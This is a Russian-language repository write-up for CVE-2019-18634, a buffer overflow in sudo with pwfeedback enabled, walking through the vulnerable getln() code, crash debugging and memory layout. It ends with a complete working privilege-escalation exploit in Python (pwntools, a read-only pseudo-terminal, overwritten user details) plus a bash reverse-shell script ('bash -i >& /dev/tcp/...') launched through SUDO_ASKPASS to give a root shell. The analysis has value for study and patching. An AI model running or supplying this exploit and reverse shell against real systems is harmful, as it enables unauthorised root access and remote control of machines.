
Этот репозиторий содержит как эксплойт, так и объяснение того, как используется эта уязвимость.
CVE-2019-18634 — это уязвимость, которая затрагивает Sudo в версиях < 1.8.25, когда в файле sudoers включён pwfeedback. Она позволяет атакующему повысить привилегии до root, эксплуатируя переполнение буфера на основе BSS, когда структуры данных изменяются, и программа считает, что она выполняется от root, и поэтому больше не спрашивает пароль и предоставляет root-привилегии.
В этом анализе я сначала углублюсь в обнаружение уязвимости, анализируя код и понимая, что не так. В статье NIST объясняется, что уязвимость находится в функции getln(), так что давайте сначала посмотрим на неё:
Мы видим, что функция читает из файлового дескриптора по одному символу buffersize раз и, если прочитанный символ — sudo-term-kill, она начинает стирать весь отправленный ввод, возвращает текущий указатель в начало и снова устанавливает количество символов для чтения как buffersize.
Ошибка находится в следующем фрагменте кода:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
По сути, когда присутствует символ sudo-term-kill, если операция записи завершается неудачей, указатель буфера не уменьшается, но счётчик количества символов, которые можно записать, сбрасывается, что фактически позволяет запись произвольной длины в этот буфер.
Углублённый анализ кода и используемых функций показывает, что символ sudo-term-kill определён как глобальное необъявленное целое число, то есть он будет инициализирован значением 0, если только не получен ввод с терминала; в этом случае он будет тем, что задано в структуре c_cc termios, которая, согласно документации, выглядит так:
Я не буду слишком глубоко вдаваться в умозаключения здесь, но все они могут быть воспроизведены при просмотре исходного кода файла term.c в репозитории Sudo.
После этого небольшого анализа остаётся только вызвать падение программы и отладить её, чтобы увидеть, что сохраняется и как это можно было бы использовать для получения выгоды.
Чтобы запустить эксплойт, нам просто нужно отправить полезную нагрузку с достаточным объёмом данных для переполнения буфера и вызвать падение программы. Для этого я решил использовать Python-библиотеку pwntools
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())
Которая при выполнении дала следующую ошибку:

Отлично!! Ошибка сегментации, значит, мы перезаписали что-то, что привело к аварийному завершению бинарника. Теперь мы должны посмотреть, что было перезаписано, и способы извлечь из этого выгоду.
Чтобы отладить бинарник, нам просто нужно приостановить выполнение процесса перед отправкой полезной нагрузки, затем подключить отладчик и продолжить выполнение. Так нужно делать, потому что для отладки процесса sudo требуются root-привилегии, но это приводит к тому, что программа не запрашивает пароль, что и является уязвимой частью.
С учётом этого давайте перейдём к тому, что было сохранено в буфере и последующих адресах памяти:

Мы видим, что помимо буфера были перезаписаны и другие структуры данных, что может быть интересно для эксплуатации этой уязвимости. Далее я решил посмотреть, какие данные были в этих структурах до перезаписи. Для этого я просто выполнил тот же скрипт, но перезаписал только buffersize байт данных, а затем снова проанализировал память:
Как мы видим, структура данных signo состоит из нулей, за исключением байта на позиции 548, который равен 0x02. За ней следует структура user-details, которая в коде обозначается как детали пользователя, запускающего sudo. 0x02 представляет опцию -S, как определено в файле sudo.h. В этом же файле определена другая опция под названием Askpass, при которой программа берётся из переменной окружения и используется как помощник для получения пароля (вместо использования TTY или STDIN). С этой информацией путь эксплуатации теперь может стать немного яснее. Возможно, мы сможем установить свою программу-помощник (скажем, reverse shell), а затем перезаписать user-details, чтобы создать видимость, что sudo был выполнен от root.
Для эксплуатации есть ещё одно препятствие: нам нужно записывать нули, чтобы сохранить исходные данные структур, а также нам нужно установить детали пользователя как у root, поэтому мы не можем использовать стандартный ввод, потому что он не записывал бы нули. К счастью, мы знаем, что при использовании терминального устройства символ kill равен 0x15, а это символ, который нам вообще не нужен. С этим возникает проблема: нам нужно, чтобы операция записи завершилась неудачей, но терминальные устройства доступны для записи и чтения, то есть они не приведут к сбою операции записи. Проведя небольшое исследование, я узнал о псевдотерминалах, которые по сути являются терминальными устройствами, создаваемыми программами и управляемыми ими:

С помощью PTY мы можем общаться с ведущим, а ведущий будет общаться с ведомым. Если мы установим для ведомого только права на чтение, программы никогда не смогут записать в него (и, следовательно, потерпят неудачу), что позволит нам запустить эксплойт.
Когда всё это на месте, остаётся только написать reverse shell
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
И эксплойт:
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()
Используя это, мы получаем reverse shell с правами root:
